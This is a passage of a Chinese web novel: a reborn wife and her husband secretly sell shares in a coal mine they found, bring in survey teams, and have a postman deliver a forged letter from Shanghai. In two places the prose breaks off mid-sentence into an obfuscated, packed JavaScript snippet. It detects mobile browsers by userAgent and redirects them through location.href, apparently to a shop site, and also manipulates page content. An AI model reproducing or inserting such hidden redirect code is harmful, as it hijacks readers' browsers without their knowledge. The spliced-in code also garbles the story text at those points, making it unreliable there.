想到自己守一天店,也不见得能挣五十块,老板娘的心瞬间热了起来,但嘴上仍道:“想收普通邮票还不容易吗?哪用得着花这么多钱。” “要的,对你们来说,收的只是一张普通邮票,但对我们来说,是为了满足婆婆的心愿。”余兰英话音一转,“但我这边比较急,所以最好今天能弄到邮票。” 老板娘在心里盘算了一遍认识的人,便说:“这样吧,我打电话帮你问一问,看能不能收到邮票,你……” 余兰英会意,从口袋里拿出五块钱递给老板娘,说道:“我还有点事,不能一直守在这里,您先拿着定金,等拿到邮票后,我再给您剩下的四十五。” 老板娘拿到钱,顿时笑逐颜开,说道:“你忙,你忙,待会我也把店关了,去找认识的人问问,看他们手里有没有合适的邮票。” “行。” 谈好合作后,余兰英便带着女儿去了附近的新华书店买信封和信纸。 石城新华书店规模不小,信封信纸品牌很多,余兰英看过后直接选了价格稍贵,但品牌产地是沪市的。 买好东西,余兰英又带着女儿去吃饭。 等吃完再回到花鸟市场,书店老板娘已经准备好了不止一张邮票。 因为余兰英大方,她也没扣扣索索,把收到的五张邮票都给了余兰英,反正这东西不值钱,她溢价收的,五张加起来也不到两块。 也就是说,这场交易她净赚四十八。 书店老板娘高兴,余兰英心里也高兴,回酒店后收到邢立骁的电话,就告诉他不用再去二手邮市了,她这边一切顺利。 10. 两个买家 邢立骁那边也算顺利。 省城的老板姓徐,也是个敢想敢干的人,他对邢立骁说的煤矿股份很感兴趣。但他对东平村有煤矿,以及邢立骁能得到新煤矿百分之五十的股份两件事存疑。 不过这也好解决,邢立骁提出他可以找相应专家去勘探煤矿,另外如果他们要交易,肯定绕不过东平村的村委。 有第三方在,是真是假,一问便知。 听完邢立骁的话,余兰英问:“专家什么时候来?” “三天左右。”邢立骁边说,边扒了两口泡面。 虽然徐老板挺热情,中午请他下了馆子,但他们一直谈到了下午三四点。原本对方想留他住一晚,但他惦记着妻女,又想明天还有事,就没住。 匆匆忙忙赶回来,天都黑了,也过了饭点,只好拿泡面凑合。 余兰英重生前,泡面已经是垃圾食品,但在这年代,泡面还是稀罕东西,价格不便宜。 以康师傅为例,普通的袋装泡面,一包就要一块钱,而邢立骁此时吃的桶装泡面,则花了三块五,售价并不比她重生前低多少。 但她重生前,普通人的工资已经涨到三四千,而这一年的平均工资只有一两百。 邢立骁因为运煤,不一定每顿都能回家吃,平时吃泡面算多的。但希希很少吃泡面,被香味馋得直咽口水,眼巴巴地看着爸爸。 感受到女儿的目光,肚子里垫了点东西的邢立骁,用筷子卷了两根泡面,送到女儿嘴巴道:“啊。” 小姑娘立刻凑上去,咬下筷子上的泡面,摇头晃脑地说:“好吃!” 吃完这一口,希希故技重施,邢立骁正要再给她挟泡面,但被余兰英拦住了,她对女儿说:“爸爸忙了一天,一直没有吃东西,希希忍心把泡面都吃掉,让爸爸饿肚子吗?” 希希闻言,看一眼爸爸,又看一眼缠绕在筷子头部的泡面,最终咽下口水说:“我不吃了。” “乖。” 余兰英伸手摸了下女儿脑袋,“明天早上带你去吃好吃的。” 希希连忙问:“比泡面还要好吃的吗?” “嗯,比泡面更好吃。”余兰英说着抱起女儿,将她放到床上,盖好薄被说,“不过今晚,你要乖乖的,早点睡觉。” 想到明天有好吃的,脑袋陷入枕头的小姑娘不住点头:“嗯嗯嗯,我现在就睡觉。” 话音刚落,她立刻闭上了眼睛。 但房间里太香了,她有点睡不着,没一会又睁开了眼说:“妈妈,我想听故事。” “想听什么故事?” 希希回答说:“好吃的。”她现在满脑子都是吃的。 美食方面的电影电视剧,余兰英看过不少,但都不太适合拿出来讲,在脑海里搜刮一遍,最终讲了画饼充饥的由来。 这故事不太符合希希的要求,但她没听出来,在泡面的香味以及妈妈温柔的嗓音中很快进入了梦乡。 等希希睡着,邢立骁也吃完泡面,洗漱好了。 这家酒店虽然号称石城最大最好的酒店,但条件远不如后世的商务酒店,房间里只有吊扇,更没有收音机。 晚上没什么娱乐,洗漱后邢立骁便直接上了床,和余兰英继续说刚才的事。 虽然余兰英和邢立骁的心理价位在两百万左右,但做生意就是漫天要价坐地还钱的事,所以开价时邢立骁在心理价位基础上翻了一倍。 如果邢立骁卖的是其他东西,徐老板没准直接让他走人了,但煤矿是金蛋,哪怕他开价高,徐老板也不舍得放弃。 经过拉锯,邢立骁大致估出了他手头有多少现金。 邢立骁说:“他差不多能拿出一百五十万。” 在这个年代,能拿出一百五十万已经不算少了。 但站在余兰英的立场,肯定希望将手里股份卖出更好的价格,何况他们手里的股份价值远超一百多万。 余兰英想了想问:“一百五十万,买全部股份?” “股份数量应该可以再谈。” “那等你明天见了曲松岩再说,如果他手里也没有那么多现金,我们干脆把股份拆开卖,说不定收入比卖给一个人更高……” 余兰英突然顿住,侧着身体,越过女儿看着邢立骁说,“或者,我们不考虑其他的,直接把股份拆开卖,买家多了水就容易浑,我们周旋其中,也更容易浑水摸鱼。” 邢立骁将手枕在脑后,盯着天花板看了会,才点头说:“我看行,明天见过曲老板后,我再想办法联系其他买家?” “先不用,看曲松岩怎么说,如果他能拿出足够的钱,买家就暂定他和徐老板,如果他拿不出来,就再增加其他买家。” “好。” …… 曲松岩今年四十三,年纪并不算小,但可能是因为当过兵,他身姿很挺拔,再加上日子过得不错,看起来比实际年龄小不少。 他是国字脸,不笑的时候看起来很严肃,但他并不难相处,对邢立骁的态度也很和煦,并没有摆架子的意思。 等助理上完茶,曲松岩便主动问道:“听说邢同志手里有项目,想要拉投资?” 虽然事业不如曲松岩,但邢立骁并不自卑,神色平静说道:“我手里确实有项目,但我来找您,并不是为了拉投资。” 曲松岩挑眉:“哦?” 邢立骁没有急着回答曲松岩的疑惑,只道:“六月中旬,我们村里发布了一则通知,说村民交了钱,就可以上山挖矿,率先发现煤矿的,可以得到新煤矿百分之五十的股份。” 曲松岩接手酒厂后,没少和当干部的打交道。 而他常打交道的这些人中,确实有真心实意为人民服务的,但尸位素餐的人也不少。所以他一听,就觉得这估计是村里干部捞钱的手段,问道:“你说的项目,不会是让我找人跟你一起去挖矿吧?” “当然不是。”邢立骁说道,“我已经挖到矿了。” 曲松岩一愣:“你挖到了矿?” “对。” 邢立骁说着,从口袋里取出一份文件,打开推到茶桌另一边。 曲松岩心里有些怀疑,却仍伸手拿起了文件,发现是邢立骁和村里签的一份协议,浏览时,他听到邢立骁说:“按照协议规定,我可以得到新煤矿百分之五十的股份。” 原本曲松岩觉得,就算邢立骁真挖到了煤矿,也不一定能得到股份。 也许他所在的村子确实下发过通知,但村里干部肯定没想到山上真有煤矿,所以就算邢立骁真挖到了矿,村里干部知道后没准也会反悔不认账。 但看完这份协议后,曲松岩的想法变了,他纳闷问:“这份协议,是你们村里干部拟的?” 要真是这样,他怀疑邢立骁不是村干部的儿子,也是关系非常近的亲戚,且他们早就知道山上有矿脉。 否则很难解释东平村的干部,为什么会签下这样一份,可以说对他获得股份大开绿灯的协议。 虽然邢立骁和余兰英商量过,谈判过程中药尽量扯大旗,但这会不好顺水推舟,因为成人后很像是他和村里干部合伙挖国家墙角。 当然,因为他没有跟村干部合伙,所以就算有人举报,他也经得住查。 但曲松岩如果怕惹事,没准会放弃买股份。 邢立骁权衡过后,指着原协议没有的条款说:“这些都是我咨询律师后,和村里人一起要求村干部加上去的。” 曲松岩闻言面露意外。 他和邢立骁虽然才见过几次,不熟,但得知他有项目想找自己投资后,就问了手下的人他的情况。 他当了快十年老板,也是近几年才有签合同先找律师看过的意识,邢立骁只是个运煤的司机,竟然知道咨询律师。 这么想着,心里不由高看邢立骁一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16463999|185432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,并问道:“你找我不是为了拉投资,那是为了什么?” “我想卖股份。” 曲松岩呼吸一顿:“你要卖股份?” 邢立骁重复道:“是,我要卖股份。” “为什么?” “我父亲是下乡知青,前些年回了沪市。”邢立骁说道,“我想去沪市。” 至于去沪市做什么,邢立骁没说,但想也知道是为了寻亲。 知青回城后,类似的事屡见不鲜,曲松岩听说过不少,倒是没想到邢立骁都这么大了,还惦记着去寻亲。 虽然意外,但他也能理解,人嘛,总会对父母有向往与期待。 但他仍说:“就算要去沪市寻亲,你也没必要把煤矿股份都卖了。” “煤矿建设不是一朝一夕的事,不卖股份,我就走不了了。”邢立骁说道,“不瞒您说,其实在我小时候,我父亲一直对我说,我的根在沪市,我是沪市人,所以我一直拿成为沪市人当做人生目标。只是以前我没钱,不敢去沪市,但百分之五十的股份不少,卖掉的话,我想这笔钱应该够我在沪市定居。” 别看曲松岩长得五大三粗,其实他也爱看书,通过书籍,他知道邢立骁这种想法,很多沪市的知青子女都有。 所以他不再怀疑邢立骁卖股份的动机,而是在心里盘算起来:“百分之五十的股份,你打算卖多少钱?” “三百五十万。” 曲松岩拧起眉:“虽然按照协议,你能得到百分之五十的股份,但这条矿脉储量有多少,前期建设需要投入多少资金,都是未知数,你这个开价……” 太高了。 领悟到曲松岩没有说出来的话,邢立骁说道:“这几年煤炭价格一直在涨,哪怕这条矿脉储量可能没有那么大,但一半股份,赚几百万应该不成问题。事实上,正是因为不清楚具体储量,我又一心去沪市,才会开价三百五十万,否则等具体储量出来,我相信,就算我开价翻一倍,也有人抢着买我手里股份。” 说到这里,邢立骁话音一转道,“当然,我也知道三百五十万不是小数目,如果您有意向,可以选择购买我手里股份的一半。我在省城也有认识的老板,对方对我手里股份很感兴趣,已经说好这几天找人去进行初步勘探。” 曲松岩心思微动。 三百五十万,他不是拿不出来,但这差不多是他手头的全部资金,都拿出来,必然伤筋动骨,毕竟酒厂还要发展。 但如果只要一半,或者百分之三十的股份,对他来说就轻松多了。 而且三百五十万只是邢立骁的开价,他多少能还一些。 虽然买到股份后,开发建设还需要往里投钱,但这钱不需要一次性给,酒厂生意又不错,应该能负担。 主要也是煤矿和其他行业不同,像他办的酒厂,除了建厂房那一笔投资,发展过程中除了人工,还不停会有营销、铺货回扣等支出。 而煤矿建好后,除了人工,他躺着收钱就行。 所以曲松岩心里意向挺足。 但几百万不是小钱,在确定邢立骁没有坑他前,他不可能一口应下,便提出自己也要找人进行初步勘探,并打算趁这时间好好调查邢立骁。 邢立骁不怕曲松岩查,嫌货才是买货人嘛。 不过他也说了,卖股份暂时只是他个人的想法,村里那边,要等他们谈好后再去沟通。所以不管是请人勘探,还是调查邢立骁,最好都能低调行事。 否则,让村里干部知道邢立骁已经发现煤矿,并想卖股份,保不齐会对买家身份进行限制。 邢立骁说得敞亮,曲松岩不免有些不自在,但他纵横商场这么多年,脸皮没那么薄,很快淡定下来。 又想人是他找的,结果自然不会有问题,后续交易要通过东平村,并签订合同,也不怕邢立骁骗他,便一口答应下来,并定下大致的勘探时间。 11. 邮递员何东 新平镇邮局不大,负责送件的也只有两个人,一个负责镇上信件送达,一个负责将信送到村里。 虽然邮递员只需要把信送到村委,后面自有村委的人负责,但新平镇下辖十八个村,分布于镇中心的东南西北。 只一个邮递员,想每天定时定点送件显然是不可能的。 何况单个村庄,一天也收不到多少信,都跑一圈辛苦不说,实际送的信件还少。所以邮递员送件都是按照不同方向轮流来,平均下来,每个村庄一周只送一次信。 又因为邮递员是镇上的,每次去送信都只跑一趟村委,所以虽然干了好几年,但各村的人他基本都不认识。 邢立骁也不认识他,但镇上总共就两个邮递员,他家住哪很好打听。 于是,何东忙活一天回到镇上,直奔回家时,在巷子口被拦住了。 石城地处祖国中部,他们这一代人成长过程中又缺衣少食,所以个子大多不高,男人身高能上一米七就算不错了。 何东就刚过这条线。 而邢立骁一米八多,虽然不像很多司机一样长得膀大腰圆,但身材结实,一看就是个大块头。 这会天又暗,他突然从黑暗中走出来,拦在何东面前,后者难免被吓到。 何东猛刹住自行车,身体后仰,一脸警惕问:“你干什么?”左右看两眼,色厉内荏道,“我家可就在附近,我喊一嗓子,你没好果子吃啊!” “何同志你误会了。” 邢立骁从口袋里摸出烟,走近分了何东两根,并拿打火机给他点上说道,“我叫邢立骁,是东平村的,今天过来找你,主要是想请你帮忙办件事。” 离得近了,何东看清了邢立骁的模样。 他相貌不错,浓眉大眼,鼻梁高挺,看着一脸正气。更重要的是他拿出的香烟是黄鹤楼的,这款烟价格不便宜,一包就要三十多,顶他几天工资了。 能拿出这烟,说明邢立骁拦他不是为了劫财,便伸手接过,一根夹到耳后,一根捏在手里,放在鼻尖轻嗅,再由邢立骁点燃。 看着烟雾袅袅升起,何东绷紧的身体放松下来,吸了口烟道:“好说好说,你要找我帮什么忙?” “我这里有封信,想请你帮忙送到东平村。” 邢立骁说着拿出信件,何东伸手接过,咬着烟从背包里摸出手电筒,粗略看了眼上面的信息,疑惑问:“沪市的信?” “这是假的。” 何东一愣,他干了几年邮递员,经手的信件没有几十万,也有几万封,可他没有发现这封信哪里有问题。 但他转念一想,这封信要真是沪市寄来的,自然会通过邮寄流程到他手上,怎么会是邢立骁交给他。 再看信封上的收件人姓名,他更疑惑了:“你弄一封假信寄给自己?” “不是寄给我自己,我想请你帮忙,是为了满足我母亲的心愿。” 邢立骁给出的解释,和余兰英托书店老板娘收邮票时差不多,虽然情感上,他并不想让已经去世的母亲,再和蒋学兵扯上关系,但理智上他知道,这样的理由最合适。 何东听完,果然面露同情。 要是这信是寄给其他人的,他肯定不愿意帮忙,谁知道邢立骁伪造信件是不是为了骗人。但这信是寄给邢立骁自己,伪造信件的目的也是为了尽孝,他觉得可以帮一下。 但何东没有立刻答应,而是做纠结状,低头狠狠吸了几口烟。 香烟燃烧过半,邢立骁将刚才拿出的香烟塞进何东手里,说道:“何同志,求求你了,我真是没有办法了。” “诶你……” 何东像是被塞了个烫手山芋,连忙推辞道,“我又没说不帮忙,你塞东西给我干什么?” “这烟不值什么钱,相逢就是有缘,就当是我们第一次见面的见面礼。”邢立骁边说,边强硬地将香烟塞进何东口袋。 何东本来就是假意推辞,听他这么说便收了香烟,嘴上还一个劲地说:“你这人、唉!忒客气!” 收了东西,肯定要给人办事,何东将信装进挎包说道,“你放心,明天我就把信给你们村送去。” “这倒不用,你按正常规律送信就行。” 平时,何东都是周三送东平村的信,今天才周四,他明天又来,村里肯定有人会觉得奇怪。反正他后面还有其他事要处理,送信这事不用那么急。 但有一点,邢立骁说道:“我担心村里人知道信是我伪造的,四处传闲话,被我母亲听到,所以送信的时候麻烦你不要透露今晚的事。” 何东了然,连忙说道:“你放心,我送信的时候肯定不多说,就跟平时一样。” “那就麻烦你了。” 邢立骁说完,又问何东烟抽着怎么样,听他说带劲,便道:“我是运煤的,经常在外面跑,认识个批发香烟的,这烟我拿货便宜,你要是喜欢,改天我再给你带一包。” 何东心思一动,但想到这烟零售要三十八一包,再便宜自己这点工资也买不起,便想拒绝,但话还没出口,就听邢立骁说:“算是感谢你帮了我这么大一个忙。” 言下之意,这烟是免费的。 何东当即咽下到嘴边的话,笑呵呵说道:“送信而已,对我来说小事一桩。你放心,下周三,我肯定帮你把信送到。” …… “咔嚓。” 邢立骁拉开卡车驾驶室的车门,伸手拉住把手,左腿一跨,人就钻进了车厢。 在驾驶座坐下,就着灯光看一眼余兰英怀里抱着的女儿,轻声问道:“希希睡着了?” “睡着有一会了。”余兰英也刻意压低了声音,“事情办得怎么样?” “成了。” “他什么时候来送信?” “我让他正常时间,下周二来送。” 余兰英想了想说:“也好,按照正常规律送,不容易引人注意。” “我也这么想。” 邢立骁说着,发动车辆,沿着长街开回家。 到家已经八点多,乡下娱乐少,睡的也就早,这会村里大多数人都已经睡了,少数在外面闲聊的,也没怎么在意他们这一辆车。 毕竟村里有车的人多,天天见也就不稀奇了。 也是因为村里没有路灯,余兰英一家子又是坐在驾驶室里,从外面往里看黑咕隆咚,根本认不出来里面是谁。 所以他们夫妻闹别扭虽然是这几天的热门话题,但这会没人拦车追问。 邢家住在村子中间,但后面是个平台,可以停车。 邢立骁将车停到平台上,便开车先下去,绕到另一边借住熟睡的女儿,以及余兰英买的杂七杂八的东西,再一起绕到前院回家。 这过程两人没闹出太大动静,但他们进屋没多久,张小芳和周红霞就过来了。 前者手上拿着蒲扇,站在门口边往厨房瞅,边问坐在堂屋里分东西的余兰英:“你们这是,和好了?” 余兰英动作微顿,苦笑道:“不和好又能怎么样呢?” 周红霞听着话音不对,问道:“你家邢立骁还没放弃上山挖矿?” 张小芳也问:“李卫杰和黄胜都放弃了,你家那位还要挖啊?” 六月份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464000|185432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交钱上山的人,都在这两个月陆续放弃了,邢立骁、李卫杰和黄胜三人,是唯三还在坚持的。 余兰英记得,上辈子这时候另外两人还没有彻底放弃。 直到邢立骁挖到矿的事情传开,他们才停了一段时间,等到有人说东平村范围内都有两条矿脉了,没准还有第三天,原先那些放弃的,没交钱的,纷纷扛着锄头上山后,他们也再次上了山。 这一挖就是小半年,其他人在邢立骁死于非命后,头脑渐渐冷静了下来,陆续选择放弃。但他们因为和邢立骁一样,在山上坚持了最久,却一无所获,所以比村里其他人更不甘心,一直在山上待到了年底。 直到两家因为他们几个月没工作开始拉饥荒,这第三条矿脉又迟迟没有影踪,他们才陆续死心。 余兰英没想到这辈子他们竟然放弃得这么早。 面对余兰英的疑惑,张小芳解释说:“其实李卫杰和黄胜媳妇早就不想他们继续挖矿了,只是他们看你家那位还在坚持,咬着牙不肯松口。前两天你跟小邢闹了一通,他为了追你去了市里,他们俩的媳妇都觉得小邢放弃了,就跟他们闹了起来。” 这也是因为两人跟邢立骁一样,自从上山后,就什么事都不干了。 而东平村因为背靠煤矿,村里种地的人不多,李卫杰和黄胜就是如此,他们一个是旷工,一个也是运煤的。 两人收入都不低,但负担一个比一个重,邢立骁可以两个月不干活,他们跟着学,家里可遭不住。 张小芳说:“他们估计也早就想放弃了,媳妇一说,就都下山了,黄胜今天还出车了呢。” “所以现在这情况,是他们以为小邢放弃挖矿,也跟着放弃了,”周红霞总结说道,“但实际上你家那位没打算放弃?” “兰英,你可别犯糊涂,”张小芳劝道,“山上要是有矿,村里那些干部早围起来自己挖了,能轮得上我们这些没有关系的?你家邢立骁已经浪费了快两个月,赶紧放弃吧,再挖下去,你们春节怕是都过不好。” 周红霞也附和说:“没错,要我说,你就该在市里多住几天,磨到小邢彻底放弃挖矿再跟他回来。现在就和好,后面你想让他放弃就难了。” 虽然两人说这些,一部分是因为担心邢立骁真挖出什么,但另一部分也是真心为邢家后面的日子考虑。 说白了,她们就是典型的“既怕兄弟苦,又怕兄弟开路虎”的心理。 也因为这样,当邻居这几年,余兰英和她们的关系虽然没多亲密,却也没有交恶。这会听着两人的劝说,她也没有不耐烦,只说:“你们放心,立骁答应我了,挖完这个月,要是还什么都没有挖到,他肯定不会再继续了。” “都挖快两个月了,他还要再挖半个月,”张小芳皱着眉揣测,“不会半个月后再跟你要半个月吧?” 周红霞也这么想,说道:“你也太纵着他了,这么大的事,怎么能由着他说了算?” 余兰英叹气:“不由着他能怎么办呢?我又不挣钱,吃喝全靠他,总不能跟他闹离婚吧?” 在这个年代,哪怕是城里,离婚都是件稀罕事,何况是农村,他们一个村,离婚的人也一个巴掌都数不过来。 听余兰英这么说,两人都有点不敢吱声了,就怕说着说着,她真跟邢立骁闹离婚。 俗话说“宁拆十座庙,不毁一桩婚”,他们要真因为她们俩几句话离了,她们罪过就大了。 两人瞬间改口:“也是,既然他说再挖半个月,那就半个月后再说吧,离婚这种话,还是少提。” 余兰英微笑:“我也这么想。” 12.沪市来信 邢立骁又扛着锄头上山了! 消息传开后,村里再次议论纷纷。 有人觉得他放着月入大几千的工作不干,每天往山上跑,费了力气又挖不倒矿,脑壳肯定有问题。 也有人觉得他想钱想疯了,也是,运煤虽然挣钱,但很辛苦,要是能挖到矿,岂不是能躺着收钱? 可惜,他的期待注定要落空,山上不可能有矿。 还有人在心里嘀咕起来,觉得之前大家都觉得邢立骁要放弃了,结果从市里回来后,他还要上山,该不会是发现什么了吧? 李卫杰和黄胜,都是这种想法,甚至两人还有点蠢蠢欲动,想再上山。 但念头刚说出来,就被媳妇骂得狗血淋头,说他们也是想钱想疯了,山上要是真有矿,村委干部家属能没动静? 村里这么多人上山挖矿,不说把山翻了一遍,坑坑洼洼的面积绝对不少。 而且交钱时以家庭为单位的,有的家庭兄弟多,是好几个人一起挖,轮流挖。所以他们挖的时间虽然不长,但并不比邢立骁挖的浅。 这么多人都没挖出矿,邢立骁能挖出来? 被媳妇这么一骂,两人就都打消了念头,也是有些事放弃了,就很难再坚持,上山挖矿也是如此。 村里议论纷纷,但没人重新拿起锄头上山,余兰英和邢立骁知道后都松了口气。 就像和曲松岩谈的那样,请团队进行初步勘探这件事,他们打算偷偷摸摸地来。原因倒不是邢立骁跟曲松岩说的那些,而是他们担心村里赖账。 前世这个时期,邢立骁虽然因为常年在外面跑,算是村里比较有见识的。 但说到底,他们也只是普通人,经过的事没那么多,所以除了找律师修改协议,在挖矿这件事上,两人没有太防备村里那些干部。 一挖到矿,邢立骁就去村委报备了。 然后村里那些干部就上了山,看到确实挖出了煤,他们高兴的同时,第一反应却不是立刻联系勘探团队,探明煤炭储量,而是想反悔。 也不是说反悔,股份他们是愿意给的,但不想给那么多,就想压着找勘探团队这件事,逼邢立骁让渡部分股份。 虽然协议规定,第一个发现煤矿的人可以获得股份,但谁是第一个发现的,不好认定。 自己空口白牙肯定是不行的,至少得有个专业机构出具证明,否则就算他们起诉,也不一定能答应官司。 而村里那些干部,就是拿准了这一点,想逼他们让步。 只是还没等余兰英夫妻商量出结果,邢立骁就出事了。 李平坤拿着借条,提出愿意让渡一半股份,他既是大姓,又有个叔叔在镇上当干部,哪怕村里那些人心里有怀疑,没有证据的情况下,也愿意跟他合作。 虽然前世的事,余兰英不好直接说,但邢立骁聪明,基本她一提就明白了。 和徐老板以及曲松岩谈判时,找勘探团队这件事,都是邢立骁主动提的,一是为了让他们放心,二也是为了弄到可以证明他最先发现煤矿的证据。 理论上来说,他找团队进行初步勘探这件事,被村里干部知道了也没关系,人都来了,他们估计也不会拦着他让人继续勘探。 但从安全上来说,村里干部乃至普通村民,肯定是越晚知道这件事越好。 从石城回来前,两人还有些担心,虽然李卫杰和黄胜跟他们圈的不是同一座山,但几座山挨着,勘探团队上上下下,他们难保不会发现端倪。 为此夫妻俩还讨论了一番,如果勘探这事被发现了,他们要如何应对。 现在,他们能放心了。 听了两天风凉话,徐老板和曲松岩找的勘探团队来了。 其实徐老板早两天就找好了团队,但余兰英和邢立骁商量过后,觉得让他们碰上也不是坏事。 知道有竞争者,他们更容易掌握主动权。 东平村不好找,余兰英夫妻也不想让他们来东平村,所以这天邢立骁出门很早。 他跟平时一样扛着锄头出的门,去的也是和村子隔了条宽阔马路的山,但进了山后,他没跟平时一样去挖出矿的山坡,而是翻过两座山去了另一边。 山那边是个叫王庄的村庄,论直线距离,王庄离东平村不远,但中间隔着两座山。 而新平镇是丘陵地带,没有特别深山老林的地方,不管是王庄还是东平村,都有相邻村庄,沿着马路去镇上也方便。 对比起来,这两个村子之间的交通就不是很方便了,所以村子离得虽然近,但村民没什么往来。 也因为这样,邢立骁打算让勘探团队从王庄那边上山,这样只要勘探这几天,村里没有人进山,就不会有人发现他们的踪迹。 穿过王庄,邢立骁到了大马路,这边也有班车去镇上。 到镇上时间还早,但菜场早市已经开了,邢立骁去里面逛了圈,买了顶草帽扣头上。虽然村里人不会有事没事往镇上跑,但一个村子这么多人,保不准会遇到熟人。 另外邢立骁又花钱买了点水果,再订几箱水,让人帮忙搬去招待所。 初步勘探耗时没有正式勘探那么久,但短则三五天,长则十天半个月是要的。徐老板和曲松岩再不缺钱,也没办法让团队成员每天在市里和山上往返。 镇上也没其他旅馆,就只能让人住招待所了。 不过招待所是公家的,规定比较多,需要凭身份证入住,邢立骁能做的也就是开好房间并付钱。 要是来的人中没带证件,肯定也是住不了的。 交完钱,邢立骁没出去,就在招待所的前厅等着,他跟人说好了,到镇上后直接来招待所。 镇上就一条长街,派出所、招待所、农贸市场都在这里,不怕人找不到。 过了大概半小时,外面响起汽车声,邢立骁走出去,就看到曲松岩从车上走下来,连忙迎上去笑道:“曲老板!早!” 曲松岩脸上也露出笑容,跟邢立骁寒暄几句,便跟他介绍带队的人。 带队的人姓陈,早些年在矿务局工作,专门负责煤矿勘探工作。这几年做生意暴富的人越来越多,他看得眼热,两年前咬咬牙下了海,拉人组了个团队,开了家相关公司。 做完互相介绍,邢立骁便让招待所的前台给他们登记,并安排好房间。 他们进房间放下行李后,邢立骁先每人发了瓶矿泉水,把水果也分了,再跟曲松岩说明情况。 曲松岩早知道今天来的还有其他勘探团队,而这团队,算是他的竞争对手找 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而他手下这些人跟着他干了好几年,动作利索得很,真比起来,他们的勘探速度,未必会比人对方带的团队慢。 如临大敌的不止曲松岩,徐老板心里想法也不少,只是他们都混迹商海多年,不管心里怎么想,面上都滴水不漏。 邢立骁倒是察觉到了些许,但也装作什么都不知道。 毕竟,曲松岩和徐老板互相别苗头,对他更有利。 两个团队,一共四辆汽车,直接开到王庄山脚停下,然后十来个人带着部分设备徒步上山。 到了地方,他们没有急着布置,而是两个团队各除了一个人,分别下去邢立骁之前挖的洞,并各带出了一些煤炭。 看到煤炭,曲松岩和徐老板都眼睛一亮。 虽然他们找了团队来做初步勘探,也在这几天盘点过手头的现金,做好了和邢立骁交易的准备。但他们心里其实仍有些不敢相信,竟然真的会有这种稳赚不赔的项目从天而降。 确定他们带出的煤炭不是邢立骁放进去,里面也确实有煤层,两人的心都热了起来,对待邢立骁也更加热情。 原本两人都打算把勘探工作交给专业团队,自己要么回去忙工作,要么待在招待所里,这样一能兼顾厂里工作,二不用留在山上吃苦。 但现在,他们不约而同改变了主意,打算留下全程盯着。 邢立骁自然不会反对,甚至自觉干起了后勤工作。 山上肯定是不能生火做饭的,一是危险,二是他们天天在山上开火,村里肯定会有人上来查看情况。 所以见他们布置设备忙碌起来,邢立骁便下山去了王庄,给钱请人做饭。 山这边没有煤矿,王庄村民出路没那么多,邢立骁给钱大方,找的第一户就愿意提供饭菜。 等他们做好饭菜,邢立骁就提着装了饭菜的竹篮上山。 随着勘探团队工作步入正轨,何东也骑着自行车,背着一包信来到了东平村。 而他这次送的信件,和以往只引起小范围讨论不同,很快在东平村掀起了轩然大波,因为这次的信件中,有一封从沪市寄来的。 13.蒋学兵的信 对东平村绝大多数人来说,沪市是一座很遥远的城市。 这个遥远,指的不是距离。 论距离,深市离得也很远,但因为近年去深市打工的人越来越多,东平村村委隔三差五能收到从深市寄回的信件包裹,大家就不觉得深市很远了。 沪市则不同,虽然它也是大城市,但考虑去哪里打工时,大家一般的不会想到它,因为那里工作没那么好找,工资也不一定有深市高。 村里没有人去,这座城市地位又很特殊,村里人想到它,自然觉得很遥远。 也因为这样,何东走后,负责整理信件,并发布通知让人来取信的蔡志刚,在看到这封沪市来信时愣了一下,然后嘀咕问道:“蒋学兵?这人是谁?” 话落看到收件人信息,好奇问,“邢立骁在沪市还有亲戚?” 挣捧着报纸,悠哉喝茶的村主任李爱民起先没反应过来,闻言也是一愣,半秒后才将蔡志刚前后两句话联系起来,说道:“什么亲戚,那是他爹。” 蔡志刚今年二十四,很多事并不怎么清楚,只影影绰绰听过些流言,想也不想道:“他爹不是不要他们母子了吗?怎么突然寄信过来?” 李爱民觉得,要不是蔡志刚亲爹是书记,他是真不想搭理这人。 邢立骁只比他大两岁,不仅还清了邢老头去世前的欠债,还靠自己盖了房、买了车、娶了媳妇。 如今他的收入,在整个东平村都是拔尖的。 再看蔡志刚,也就比邢立骁小两岁,还干啥啥不成,进村委好几年,也就能干干整理分发信件这种杂活。 这也就算了,他说话也不过脑子。 蒋学兵回城后是十来年没音信,显然不怎么把邢立骁母子放在心上。 但人是会变的,蒋学兵再怎么狠心,邢立骁也是他亲生儿子。 何况邢立骁都二十多了,现在认回去,非但不用他花钱养,等他老了还能给他养老,稳赚不赔的买卖,他当然愿意寄信回来。 李爱民虽然也算是看着蔡志刚长大的,但对着这么个二百五,实在很难生出爱护之情,这会也懒得解释,只伸手说:“信给我看看。” 蔡志刚粗心,也可能是没脑子,知道来信人是邢立骁亲爹后,光顾着琢磨他为什么来信了,信封上的重要信息一点都没在意。 但李爱民不同,他在村委干了二十来年,虽然当初和蔡志刚亲爹竞争书记职位时败了,心计却并不差。 拿到信封后,他第一眼看到的是寄件人地址栏填写的一行字。 “李叔你怎么了?” 见李爱民猛地坐直了身体,蔡志刚疑惑问道,也凑过来看信封,来回看了三遍,他也没看出这信封有什么特别的,自言自语道:“什么也没有啊,李叔你怎么这么激动?” 李爱民忍住翻白眼的冲动,指着寄件人地址说:“寄件人地址这里写的,杨湾区人民政府家属院,这几个字看到了吗?” “啊,看到了,怎么了吗?” 李爱民深吸口气,想还好蔡志刚不是他儿子,也还好他儿子没这么蠢,不然他要气死。 